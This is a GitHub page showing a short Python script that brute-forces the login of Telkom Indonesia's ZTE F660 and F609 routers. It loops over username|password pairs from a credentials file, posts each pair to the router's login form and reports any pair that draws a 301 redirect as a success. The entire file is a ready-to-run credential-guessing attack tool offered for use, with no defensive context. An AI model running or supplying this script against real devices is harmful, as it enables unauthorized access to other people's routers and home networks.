-
Notifications
You must be signed in to change notification settings - Fork 8
/
brute_f609.py
42 lines (42 loc) · 1.24 KB
/
brute_f609.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python
print("""\
_______ ___ ___
/ _/ __// _ \\/ _ \\ | f609-brute
/ _/ _ \\/ // /\\_, / | Telkom Indonesia's ZTE F660 and f609 Bruteforcer
/_/ \\___/\\___//___/ | https://github.com/yoscruizer
""")
import requests, sys
if len(sys.argv) != 2:
print("usage: {} <url>".format(sys.argv[0]))
sys.exit()
def main():
fn = "credentials.txt"
file = open(fn)
url = sys.argv[1]
lines = 0
for i in file.readlines(): lines += 1
file.seek(0)
print("[i] Loaded {} credentials from {}".format(lines, fn))
for cred in file.readlines():
if cred.rstrip() == "": continue
cred = cred.rstrip().split("|")
username = cred[0]
password = cred[1]
pdata = {'_lang': '', 'frashnum': '', 'action': 'login', 'Username': username, 'Password': password}
success = False
r = requests.post(url, data=pdata, allow_redirects=False)
if r.status_code == 301:
success = True
if success == False:
print("[!] fail -> username: {} | password: {}".format(username, password))
else:
print("[*] success -> username {} | password: {}".format(username, password))
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(": SIGINT detected! Exiting.")
sys.exit()
except Exception as e:
print("[!] Exception: {}".format(str(e)))
pass